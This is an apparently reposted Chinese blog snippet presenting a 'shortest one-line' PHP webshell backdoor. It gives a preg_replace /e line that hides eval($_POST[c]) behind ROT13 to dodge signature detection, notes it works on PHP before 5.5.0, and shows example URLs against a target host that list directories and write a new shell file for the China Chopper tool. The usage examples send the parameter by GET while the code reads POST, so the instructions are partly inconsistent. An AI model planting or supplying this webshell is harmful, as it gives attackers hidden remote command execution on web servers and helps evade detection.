php最短一句话后门webshell

2019独角兽企业重金招聘Python工程师标准>>>

preg_replace("//e",@str_rot13('@riny($_CBFG[p])'),"");  
//str_rot13('@riny($_CBFG[p])') == eval($_POST[c])
//字符串执行 ROT13 转换特征码,php version < 5.5.0 /e修饰符才可执行

  调用示例:

#生成当前目录列表dir.txt
http://target_host/webshell.php?c=dir%20>dir.txt 

#生成菜刀可调用的POST Shell
http://target_host/webshell.php?c=echo%20"" > newshell.php

转载于:https://my.oschina.net/godareyou/blog/505171